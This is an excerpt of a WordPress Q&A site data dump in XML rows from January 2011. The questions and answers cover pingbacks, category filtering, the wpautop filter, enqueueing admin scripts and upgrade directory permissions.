  <row Id="7843" PostTypeId="2" ParentId="7840" CreationDate="2011-01-26T15:17:50.800" Score="3" ViewCount="" Body="&lt;p&gt;Your dashboard got alerted by &lt;a href=&quot;http://codex.wordpress.org/Introduction_to_Blogging#Trackbacks&quot; rel=&quot;nofollow&quot;&gt;trackbacks&lt;/a&gt; and &lt;a href=&quot;http://codex.wordpress.org/Introduction_to_Blogging#Pingbacks&quot; rel=&quot;nofollow&quot;&gt;pingbacks&lt;/a&gt;. Check the links for more info. As @eileen.carpenter mentioned on the comments, you should uncheck &lt;code&gt;Allow link notifications from other blogs (pingbacks and trackbacks.)&lt;/code&gt; in your dashboard for them to be disabled.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;If you approve them, they'll appear as comments in your posts/pages. Depending on the theme, they may actually appear as comments or trackbacks/pingbacks. Most modern themes display them differently. On code level, they're just comments with a different &lt;a href=&quot;http://codex.wordpress.org/Function_Reference/comment_type&quot; rel=&quot;nofollow&quot;&gt;comment_type&lt;/a&gt;. So theme developers use this to display comments and trackbacks/pingback as different things.&lt;/p&gt;&#xA;" OwnerUserId="298" LastActivityDate="2011-01-26T15:17:50.800" />
  <row Id="7844" PostTypeId="1" CreationDate="2011-01-26T15:23:52.310" Score="0" ViewCount="269" Body="&lt;p&gt;I want to include something like the the_category function in a WordPress post, which by default echoes a list of links to all categories the post is attached separated by comma, but I want to exclude some categories from listing in certain views. In some cases I have to exclude all children ones from appearing, in others a top category or random specific categories.&lt;/p&gt;&#xA;" OwnerUserId="2201" LastEditorUserId="2201" LastEditorDisplayName="" LastEditDate="2011-01-26T18:30:59.733" LastActivityDate="2011-02-25T19:38:14.987" Title="Exclude a category from the_category in the single post page" Tags="&lt;categories&gt;&lt;taxonomy&gt;&lt;template-tags&gt;" AnswerCount="1" />
  <row Id="7845" PostTypeId="1" AcceptedAnswerId="8406" CreationDate="2011-01-26T15:30:38.633" Score="0" ViewCount="385" Body="&lt;p&gt;Currently WPML adds /fr/ to permalinks to identify a url as French. The default language of the site is English, however WPML does not add /en/ by default for the default lannguage (English) permalinks. Is there a way to have the default language also show up in the permalinks?&lt;/p&gt;&#xA;" OwnerUserId="2450" LastActivityDate="2011-02-03T00:13:51.790" Title="WPML - how to get the permalinks to display also the default language" Tags="&lt;permalinks&gt;&lt;url-rewriting&gt;&lt;multi-language&gt;" AnswerCount="1" CommentCount="2" />
  <row Id="7846" PostTypeId="1" AcceptedAnswerId="7848" CreationDate="2011-01-26T16:27:46.240" Score="3" ViewCount="436" Body="&lt;p&gt;I have this in my &lt;strong&gt;functions.php&lt;/strong&gt;:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;The images inside the slider were added as &lt;strong&gt;custom post types&lt;/strong&gt; called &quot;&lt;strong&gt;Page Content&lt;/strong&gt;.&quot; I'm not sure if the filter only applies to the main &lt;strong&gt;Posts&lt;/strong&gt;.&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;/**&#xA; * Remove paragraph tags around content and excerpt&#xA; */&#xA;remove_filter( 'the_content', 'wpautop' );&#xA;remove_filter( 'the_excerpt', 'wpautop' );&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;The the posts in the admin look like this:&#xA;&lt;img src=&quot;http://i.stack.imgur.com/thnF3.png&quot; alt=&quot;enter image description here&quot;&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;But something still wrapping the images of my Nivo Slider with p tags:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;http://i.stack.imgur.com/rMkU6.png&quot; alt=&quot;enter image description here&quot;&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;http://i.stack.imgur.com/Nruuj.png&quot; alt=&quot;enter image description here&quot;&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;CSS:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;#slider-wrapper {&#xA;    float: left;&#xA;    height: 560px;&#xA;}&#xA;#slider {&#xA;    float: left;&#xA;    border: 1px solid #DDD;&#xA;    position:relative;&#xA;    background:url(images/loading.gif) no-repeat 50% 50%;&#xA;}&#xA;#slider img {&#xA;    top: 0px;&#xA;    left: 0px;&#xA;    display: none;&#xA;    float: left;&#xA;    position: absolute;&#xA;    width: 958px;&#xA;    height: 458px;&#xA;}&#xA;.nivo-controlNav {&#xA;    margin: 490px auto 0;&#xA;    overflow: hidden;&#xA;}&#xA;.nivo-controlNav a {&#xA;    background: url(images/bullets.png) no-repeat;&#xA;    border: 0;&#xA;    float: left;&#xA;    text-indent: -9999px;&#xA;    width: 22px;&#xA;    height: 22px;&#xA;}&#xA;.nivo-controlNav a.active {&#xA;    background-position: 0 -22px;&#xA;}&#xA;.nivo-directionNav a {&#xA;    display: block;&#xA;    width: 70px;&#xA;    height: 70px;&#xA;    background: url(images/arrows.png) no-repeat;&#xA;    text-indent: -9999px;&#xA;    border: 0;&#xA;}&#xA;a.nivo-nextNav {&#xA;    background-position: -70px 0;&#xA;    right: -20px;&#xA;}&#xA;a.nivo-prevNav {&#xA;    left: -20px;&#xA;}&#xA;.nivo-caption {&#xA;    text-shadow:none;&#xA;    font-family: Helvetica, Arial, sans-serif;&#xA;}&#xA;.nivo-caption a {&#xA;    color:#efe9d1;&#xA;    text-decoration:underline;&#xA;}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;Any suggestions to remove the p tags?&lt;/p&gt;&#xA;" OwnerUserId="781" LastActivityDate="2011-03-06T20:22:11.677" Title="I'm using a filter to remove the &lt;p&gt; tags auto wrap, but there still wrapped elements?" Tags="&lt;filters&gt;" AnswerCount="2" CommentCount="3" />
  <row Id="7847" PostTypeId="2" ParentId="7442" CreationDate="2011-01-26T17:00:44.740" Score="1" ViewCount="" Body="&lt;p&gt;It's not free, but I'm impressed with &lt;a href=&quot;http://www.wpbundle.com/2011/new-theme-knowledgebase-with-images/&quot; rel=&quot;nofollow&quot;&gt;Knowledgebase&lt;/a&gt; by WPBundle, sold through Woo Themes.  It has a custom taxonomy organized by Questions, Documents, and Resources.&lt;/p&gt;&#xA;" OwnerUserId="2652" LastActivityDate="2011-01-26T17:00:44.740" />
  <row Id="7848" PostTypeId="2" ParentId="7846" CreationDate="2011-01-26T17:02:22.823" Score="2" ViewCount="" Body="&lt;p&gt;There are various functions aside from &lt;code&gt;wpautop()&lt;/code&gt; that &lt;a href=&quot;http://codex.wordpress.org/How_WordPress_Processes_Post_Content&quot; rel=&quot;nofollow&quot;&gt;filter post content&lt;/a&gt;, such as &lt;code&gt;force_balance_tags()&lt;/code&gt;, which was designed to balance bad HTML coming in via the editor.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;They're mostly defined in &lt;a href=&quot;http://core.trac.wordpress.org/browser/trunk/wp-includes/formatting.php&quot; rel=&quot;nofollow&quot;&gt;formatting.php&lt;/a&gt;, where you can see the various code in source. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;Removal of these filters can be as simple as one line, as you point out:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;code&gt;remove_filter('the_content', 'wpautop');&lt;/code&gt;&lt;/p&gt;&#xA;" OwnerUserId="1860" LastActivityDate="2011-01-26T17:02:22.823" CommentCount="5" />
  <row Id="7849" PostTypeId="1" CreationDate="2011-01-26T17:12:02.303" Score="2" ViewCount="56" Body="&lt;p&gt;As someone learning Wordpress for the purpose of customizing a Buddypress installation, I'm looking for a graphic representation of how Buddypress works and augments a standard Wordpress Multi-User installation. There are a number of examples of Wordpress diagrams including this &lt;a href=&quot;http://yoast.com/wordpress-theme-anatomy/&quot; rel=&quot;nofollow&quot;&gt;one&lt;/a&gt; by Yoast.&lt;/p&gt;&#xA;" OwnerUserId="2652" LastActivityDate="2011-01-26T19:13:27.267" Title="Has anyone seen a 'visual anatomy' type graphic of the Buddypress plugin?" Tags="&lt;multisite&gt;&lt;buddypress&gt;" AnswerCount="1" />
  <row Id="7850" PostTypeId="1" AcceptedAnswerId="7912" CreationDate="2011-01-26T17:41:01.773" Score="0" ViewCount="211" Body="&lt;p&gt;I'm trying to implement this plugin on my live wordpress instilation:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;http://wordpress.org/extend/plugins/frontpage-slideshow/&quot; rel=&quot;nofollow&quot;&gt;http://wordpress.org/extend/plugins/frontpage-slideshow/&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I wouldn't usually ask a question about a plugin directly but this problem is a little strange,&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I have a local MAMP installation of wordpress running the plugin, everything db and file wise is identical to the live version, taken from my git repository and a up to date dump of the db. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;What's very strange here is that the plugin works with no problems on my MAMP instillation, i can access the admin section no problem.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;But on my live wordpress instillation, all javascript is broken on the plugins admin page, even the wordpress admin js that controls the menu drop downs.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I'm not sure what is happening as i have 0 js errors in my console and can see exactly the same files are being loaded as on my local instillation. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;The only variable here are the servers, but i'm not sure what could be causing this, does anyone have any ideas?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Edit:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I've isolated the problem down to this line:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;$attachments = get_children(array(&#xA;                                    'post_type'     =&amp;gt; 'attachment',&#xA;                                    'post_mime_type'    =&amp;gt; 'image',&#xA;                                    'post_status'       =&amp;gt; null,&#xA;                                    'post_parent'       =&amp;gt; null,&#xA;                                ));&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;if i remove it everything works fine.. &lt;/p&gt;&#xA;" OwnerUserId="2745" LastEditorUserId="2745" LastEditorDisplayName="" LastEditDate="2011-01-27T14:43:41.563" LastActivityDate="2011-01-27T17:22:00.663" Title="Plugin admin panel JavaScript Broken" Tags="&lt;admin&gt;&lt;plugins&gt;&lt;jquery&gt;&lt;javascript&gt;" AnswerCount="1" CommentCount="4" />
  <row Id="7851" PostTypeId="2" ParentId="6095" CreationDate="2011-01-26T18:42:40.663" Score="3" ViewCount="" Body="&lt;p&gt;Might I also suggest that instead of using &lt;code&gt;showposts=2&lt;/code&gt; you should use &lt;code&gt;posts_per_page=2&lt;/code&gt;, since &lt;code&gt;showposts&lt;/code&gt; &lt;a href=&quot;http://codex.wordpress.org/Function_Reference/query_posts&quot; rel=&quot;nofollow&quot;&gt;has been deprecated&lt;/a&gt;.&lt;/p&gt;&#xA;" OwnerUserId="2746" LastActivityDate="2011-01-26T18:42:40.663" />
  <row Id="7852" PostTypeId="2" ParentId="7844" CreationDate="2011-01-26T18:57:56.253" Score="1" ViewCount="" Body="&lt;p&gt;Not sure but i think you can try this&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;function my_category_filter($cats){&#xA;   //exclude these from displaying&#xA;   $exclude = array(&quot;Large Announcement&quot;, &quot;Announcement&quot;, &quot;News&quot;);&#xA;   $Catds = array();&#xA;   foreach ($cats as$cat){&#xA;      if (!in_array($cat,$exclude)){$Catsa[] = $cat;}&#xA;   }&#xA;   return $Catsa;&#xA;}&#xA;&#xA;add_filter('the_category','my_category_filter');&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="2487" LastActivityDate="2011-01-26T18:57:56.253" />
  <row Id="7853" PostTypeId="2" ParentId="7849" CreationDate="2011-01-26T19:13:27.267" Score="2" ViewCount="" Body="&lt;p&gt;I don't think there is one.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;The only difference with BuddyPress on multsite verses single is.. .the users get blogs.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;As for the buddypress theme itself. The bp template pack shows exactly what template files are used as extra. They are all labeled according to their use.&lt;/p&gt;&#xA;" OwnerUserId="1391" LastActivityDate="2011-01-26T19:13:27.267" CommentCount="1" />
  <row Id="7854" PostTypeId="1" AcceptedAnswerId="7869" CreationDate="2011-01-26T19:59:16.507" Score="1" ViewCount="294" Body="&lt;p&gt;I am filtering the map_meta_cap() function, which is called from $user-&gt;has_cap (which is called from current_user_can()). I only want my filter to execute if the current user is an administrator, so I need a conditional in my filter that checks their role. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;I can't use current_user_can(), because that invokes my filter, causing an infinite loop. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;Is there a reliable way to check whether someone is an administrator without using current_user_can() ?&lt;/p&gt;&#xA;" OwnerUserId="2659" LastEditorUserId="2659" LastEditorDisplayName="" LastEditDate="2011-01-26T20:23:09.497" LastActivityDate="2011-01-27T00:52:54.937" Title="How to check user role without using current_user_can()" Tags="&lt;users&gt;&lt;roles&gt;&lt;capabilities&gt;" AnswerCount="1" CommentCount="5" />
  <row Id="7855" PostTypeId="2" ParentId="7442" CreationDate="2011-01-26T20:04:15.100" Score="0" ViewCount="" Body="&lt;p&gt;Other than realize yourself the theme, you can customize some free theme.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Here there are two that are easily customizable, without having to touch HTML.&lt;/p&gt;&#xA;&#xA;&lt;ol&gt;&#xA;&lt;li&gt;&lt;a href=&quot;http://www.arrastheme.com/&quot; rel=&quot;nofollow&quot; title=&quot;Arras Theme&quot;&gt;Arras Theme&lt;/a&gt;&lt;/li&gt;&#xA;&lt;li&gt;&lt;a href=&quot;http://demo.spectacu.la/caribou/&quot; rel=&quot;nofollow&quot; title=&quot;Caribou&quot;&gt;Caribou&lt;/a&gt;&lt;/li&gt;&#xA;&lt;li&gt;&lt;a href=&quot;http://wordpress.org/extend/themes/inove&quot; rel=&quot;nofollow&quot; title=&quot;Inove&quot;&gt;Inove&lt;/a&gt;&lt;/li&gt;&#xA;&lt;/ol&gt;&#xA;&#xA;&lt;p&gt;They have support for tags and category, that are great if you have tutorials on different topics.&lt;/p&gt;&#xA;" OwnerUserId="2727" LastActivityDate="2011-01-26T20:04:15.100" />
  <row Id="7856" PostTypeId="2" ParentId="2350" CreationDate="2011-01-26T20:19:53.213" Score="0" ViewCount="" Body="&lt;p&gt;Since I'm unable to comment on Phil's answer...&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I only recommend MailChimp as a very basic option at the time being.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;New monthly limits for a free account = 1,000 users and 6,000 messages. Great!&lt;/p&gt;&#xA;&#xA;&lt;p&gt;BUT there are some issues with the plugin (http://wordpress.org/tags/mailchimp?forum_id=10) &amp;amp; at this time, there is no way to get IP address &amp;amp; signup date, etc. automatically without including more fields in the form which is cumbersome.  Or you would need to program that functionality into a plugin yourself.&lt;/p&gt;&#xA;" OwnerUserId="1697" LastActivityDate="2011-01-26T20:19:53.213" />
  <row Id="7858" PostTypeId="2" ParentId="7697" CreationDate="2011-01-26T21:10:22.530" Score="4" ViewCount="" Body="&lt;blockquote&gt;&#xA;  &lt;p&gt;I am trying to add in a script and css file for my plugin into the admin header.&lt;/p&gt;&#xA;&lt;/blockquote&gt;&#xA;&#xA;&lt;p&gt;Then like any good developer you should be using &lt;code&gt;wp_enqueue_script&lt;/code&gt; or &lt;code&gt;wp_enqueue_style&lt;/code&gt; so you're not hard-coding those script/style includes into the plugin(meaning a user can unhook them if he/she needed to).&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;http://codex.wordpress.org/Function_Reference/wp_enqueue_script&quot; rel=&quot;nofollow&quot;&gt;http://codex.wordpress.org/Function_Reference/wp_enqueue_script&lt;/a&gt;&lt;br&gt;&#xA;&lt;a href=&quot;http://codex.wordpress.org/Function_Reference/wp_enqueue_style&quot; rel=&quot;nofollow&quot;&gt;http://codex.wordpress.org/Function_Reference/wp_enqueue_style&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;If the styles/scripts are only to be loaded in the plugin page(s), then you should ideally use some conditional logic inside a generic admin head hook, or alternatively hook some enqueues specifically to the page(s).&lt;/p&gt;&#xA;&#xA;&lt;p&gt;First work out the hook for your page or pages, this is the fourth parameter used in calls to &lt;code&gt;add_menu_page&lt;/code&gt; and the fifth in &lt;code&gt;add_submenu_page&lt;/code&gt;, so let's take this example(taken straight from &lt;a href=&quot;http://codex.wordpress.org/Administration_Menus#Example&quot; rel=&quot;nofollow&quot;&gt;this codex page&lt;/a&gt;) and imagine these represent your plugin page(s).&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;add_menu_page('Page title', 'Top-level menu title', 'manage_options', 'my-top-level-handle', 'my_magic_function');&#xA;add_submenu_page( 'my-top-level-handle', 'Page title', 'Sub-menu title', 'manage_options', 'my-submenu-handle', 'my_magic_function');&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;In this case, the two hooks(or handles) are &lt;code&gt;my-top-level-handle&lt;/code&gt; and &lt;code&gt;my-submenu-handle&lt;/code&gt; respectively. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;Now, to hook scripts or styles into the admin head specifically for plugin pages there's a few different ways we can go about it, but i'll cover the two most obvious(and my preferred) methods.&lt;/p&gt;&#xA;&#xA;&lt;hr&gt;&#xA;&#xA;&lt;h1&gt;Method #1&lt;/h1&gt;&#xA;&#xA;&lt;blockquote&gt;&#xA;  &lt;p&gt;Use the &lt;code&gt;admin_print_scripts-$hook&lt;/code&gt; and &lt;code&gt;admin_print_styles-$hook&lt;/code&gt; that are specific to your plugin and enqueue the CSS/JS for each plugin page.&lt;/p&gt;&#xA;&lt;/blockquote&gt;&#xA;&#xA;&lt;p&gt;&lt;kbd&gt;$hook&lt;/kbd&gt; represents the hook(or handle) for a given admin page, every admin page has one.&lt;/p&gt;&#xA;&#xA;&lt;h2&gt;Scripts&lt;/h2&gt;&#xA;&#xA;&lt;p&gt;Enqueue JS files for both parent and submenu page&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;add_action( 'admin_print_scripts-my-top-level-handle', 'enqueue_my_js' );&#xA;add_action( 'admin_print_scripts-my-submenu-handle', 'enqueue_my_js' );&#xA;function enqueue_my_js() {&#xA;    wp_enqueue_script( .. YOUR ENQUEUE ARGS HERE .. );&#xA;}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;h2&gt;Stylesheets&lt;/h2&gt;&#xA;&#xA;&lt;p&gt;Enqueue stylesheet files for both parent and submenu page&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;add_action( 'admin_print_styles-my-top-level-handle', 'enqueue_my_style' );&#xA;add_action( 'admin_print_styles-my-submenu-handle', 'enqueue_my_style' );&#xA;function enqueue_my_style() {&#xA;    wp_enqueue_style( .. YOUR ENQUEUE ARGS HERE .. );&#xA;}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;hr&gt;&#xA;&#xA;&lt;h1&gt;Method #2&lt;/h1&gt;&#xA;&#xA;&lt;blockquote&gt;&#xA;  &lt;p&gt;Enqueue both scripts and styles across all your plugin admin pages by hooking on the more generic admin head hooks.&lt;/p&gt;&#xA;&lt;/blockquote&gt;&#xA;&#xA;&lt;p&gt;&lt;kbd&gt;admin_print_scripts&lt;/kbd&gt; + &lt;kbd&gt;admin_print_styles&lt;/kbd&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;With this approach we'll use the more generic hooks that run for every admin page, but with a little conditional logic we can determine what kind of page we're viewing and return if it's not one of the plugin's pages(so it essentially has the same effect as the first approach).&lt;/p&gt;&#xA;&#xA;&lt;h2&gt;Scripts&lt;/h2&gt;&#xA;&#xA;&lt;p&gt;Enqueue JS for any of the plugin's page&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;add_action( 'admin_print_scripts', 'enqueue_my_js' );&#xA;function enqueue_my_js() {&#xA;    global $parent_file;&#xA;    if( 'my-top-level-handle' != $parent_file )&#xA;        return;&#xA;    wp_enqueue_script( .. YOUR ENQUEUE ARGS HERE .. );&#xA;}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;h2&gt;Styles&lt;/h2&gt;&#xA;&#xA;&lt;p&gt;Enqueue CSS for any of the plugin's page&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;add_action( 'admin_print_styles', 'enqueue_my_style' );&#xA;function enqueue_my_style() {&#xA;    global $parent_file;&#xA;    if( 'my-top-level-handle' != $parent_file )&#xA;        return;&#xA;    wp_enqueue_style( .. YOUR ENQUEUE ARGS HERE .. );&#xA;}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;&lt;code&gt;$parent_file&lt;/code&gt; will only match for your plugin's pages, so we simply &lt;code&gt;return;&lt;/code&gt; when it's not a match, ie. stop executing code inside the function so the enqueue only gets to fire when &lt;code&gt;$parent_file&lt;/code&gt; matches the handle.&lt;/p&gt;&#xA;&#xA;&lt;hr&gt;&#xA;&#xA;&lt;h1&gt;Additional&lt;/h1&gt;&#xA;&#xA;&lt;p&gt;If you're intending to enqueue a script or style for more than one page, you can make that process alot easier by registering the script.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;http://codex.wordpress.org/Function_Reference/wp_register_script&quot; rel=&quot;nofollow&quot;&gt;http://codex.wordpress.org/Function_Reference/wp_register_script&lt;/a&gt;&lt;br&gt;&#xA;&lt;a href=&quot;http://codex.wordpress.org/Function_Reference/wp_register_style&quot; rel=&quot;nofollow&quot;&gt;http://codex.wordpress.org/Function_Reference/wp_register_style&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;The advantage to registering a script or style is that calling that file then becomes a simple case of..&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;wp_enqueue_script( 'my_script_handle' );&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;..same applies for the style equivalent.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;This avoids any need to provide a path, dependancies and so forth with every enqueue call.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I had to wrap the answer up toward the end due to time, but hopefully i've provided enough valuable information to work with. If you get stuck trying to understand something, just post a comment.. ;)&lt;/p&gt;&#xA;" OwnerUserId="1468" LastEditorUserId="1468" LastEditorDisplayName="" LastEditDate="2011-01-27T12:25:47.617" LastActivityDate="2011-01-27T12:25:47.617" CommentCount="4" />
  <row Id="7859" PostTypeId="1" CreationDate="2011-01-26T21:34:20.973" Score="0" ViewCount="490" Body="&lt;p&gt;I'm trying to upgrade to WP 3 but I'm getting a weird error when I try to do so:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;Downloading update from http://wordpress.org/wordpress-3.0.4.zip.&#xA;&#xA;Unpacking the update.&#xA;&#xA;Could not create directory: /my/path/web/wp-content/upgrade/wordpress-3.tmp&#xA;&#xA;Installation Failed&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;The reason it's weird is because the &lt;code&gt;upgrade&lt;/code&gt; directory has 777 permissions. I ran &lt;code&gt;chmod -R 777 upgrade/&lt;/code&gt; and when I do an &lt;code&gt;ls&lt;/code&gt;, I see that &lt;code&gt;upgrade&lt;/code&gt; is world-writable. I'm sure I'm dealing with the right directory because if I delete &lt;code&gt;upgrade&lt;/code&gt;, I get a different error.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Any idea why this happening?&lt;/p&gt;&#xA;" OwnerUserId="2748" LastActivityDate="2011-01-27T14:53:46.137" Title="WP upgrade can't create directory even though perms are 777" Tags="&lt;upgrade&gt;" AnswerCount="4" CommentCount="1" />
  <row Id="7860" PostTypeId="1" CreationDate="2011-01-26T21:42:33.537" Score="0" ViewCount="156" Body="&lt;p&gt;I'm trying to employ slidedeck on a &lt;strong&gt;page&lt;/strong&gt; in wordpress, and for some reason, it's not functioning. I consulted the support area at the plugin website and most problems like this seemed to revolve around having Jquery loaded properly.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I tried using the Jquery Functions.php implementation from the WP documentation and disabling the theme's method of loading it and that did not help. I tried disabling it entirely and letting Slidedeck load it's own... still no joy.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;http://readersentertainment.com/featured-event/&quot; rel=&quot;nofollow&quot;&gt;http://readersentertainment.com/featured-event/&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Any idea's as to why it's not working?&lt;/p&gt;&#xA;" OwnerUserId="2391" LastActivityDate="2011-08-28T08:36:01.920" Title="Loading SlideDeck on a Page?" Tags="&lt;plugins&gt;&lt;jquery&gt;" AnswerCount="2" />
  <row Id="7861" PostTypeId="2" ParentId="7859" CreationDate="2011-01-26T21:58:01.463" Score="1" ViewCount="" Body="&lt;p&gt;What account is the directory owned by? Try CHOWNing the directory to the account your web server runs as (probably &quot;apache&quot;).&lt;/p&gt;&#xA;&#xA;&lt;p&gt;This generally looks like:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;chown apache:apache your/path/to/upgrade&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;But YYMV depending on your server setup.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;For some reason (I'm not a skilled server admin), ownership of the directory can cause permissions issues, even if your permissions are set to 777.&lt;/p&gt;&#xA;" OwnerUserId="1537" LastActivityDate="2011-01-26T21:58:01.463" CommentCount="2" />
  <row Id="7862" PostTypeId="2" ParentId="7860" CreationDate="2011-01-26T22:18:05.270" Score="0" ViewCount="" Body="&lt;p&gt;It looks like the jQuery is throwing an error because some easing functions are being called which jQuery can't find.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;That could be because the jQuery UI plugin code isn't being included correctly by slidedeck or one of your other plugins is throwing some JavaScript in there which is conflicting. Or maybe the theme itself isn't set up correctly to handle the javascript includes...&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Have you tried disabling plugins to see if one of the others is causing the issue? That's usually a good start. Basically you need to find what is causing the problem first. It may not be SlideDeck at all, that could just be the result of the actual issue.&lt;/p&gt;&#xA;" OwnerUserId="2749" LastActivityDate="2011-01-26T22:18:05.270" CommentCount="1" />
  <row Id="7864" PostTypeId="2" ParentId="3986" CreationDate="2011-01-26T23:57:39.813" Score="1" ViewCount="" Body="&lt;p&gt;&lt;a href=&quot;http://wordpress.org/extend/plugins/revisionary/&quot; rel=&quot;nofollow&quot;&gt;http://wordpress.org/extend/plugins/revisionary/&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;This plugin will do what you want. It creates a role Revisor that is kind of in between Contributor and Editor. The UI could be improved and the internal code had to work around a lot of WordPress' missing features, but yeah, this solves your problem: It will allow you to save a draft (actually a 'pending' 'revision').&lt;/p&gt;&#xA;" OwnerUserId="279" LastActivityDate="2011-01-26T23:57:39.813" CommentCount="2" />
  <row Id="7865" PostTypeId="2" ParentId="2469" CreationDate="2011-01-27T00:01:51.573" Score="1" ViewCount="" Body="&lt;p&gt;&lt;a href=&quot;http://wordpress.org/extend/plugins/revisionary/&quot; rel=&quot;nofollow&quot;&gt;Revisionary&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;This plugin will do what you want. It creates a role Revisor that is kind of in between Contributor and Editor. The UI could be improved and the internal code had to work around a lot of WordPress' missing features, but yeah, this solves your problem.&lt;/p&gt;&#xA;" OwnerUserId="279" LastActivityDate="2011-01-27T00:01:51.573" />
  <row Id="7866" PostTypeId="2" ParentId="7440" CreationDate="2011-01-27T00:25:04.763" Score="0" ViewCount="" Body="&lt;p&gt;This isn't possible &quot;out of the box&quot;...&lt;/p&gt;&#xA;&#xA;&lt;p&gt;The default 'orderby' options are (ascending or descending)&lt;/p&gt;&#xA;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;ID name &lt;/li&gt;&#xA;&lt;li&gt;Default &lt;/li&gt;&#xA;&lt;li&gt;slug &lt;/li&gt;&#xA;&lt;li&gt;count&lt;/li&gt;&#xA;&lt;li&gt;term_group&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;&#xA;&lt;p&gt;These are all detailed in the codex.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;--&lt;/p&gt;&#xA;&#xA;&lt;p&gt;That said there are some clever ladies &amp;amp; gents here. If anyone can solve it, one of these guys can i'm sure!&lt;/p&gt;&#xA;" OwnerUserId="1298" LastActivityDate="2011-01-27T00:25:04.763" />
  <row Id="7868" PostTypeId="2" ParentId="7859" CreationDate="2011-01-27T00:28:45.537" Score="0" ViewCount="" Body="&lt;p&gt;Who is your webhost? Ownership of new directories can be problem with some (cheap) host(s) and you won't be able to change it without their help.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;And don't leave any directories at 777. WP needs a maximum of 755.&lt;/p&gt;&#xA;" OwnerUserId="268" LastActivityDate="2011-01-27T00:28:45.537" />
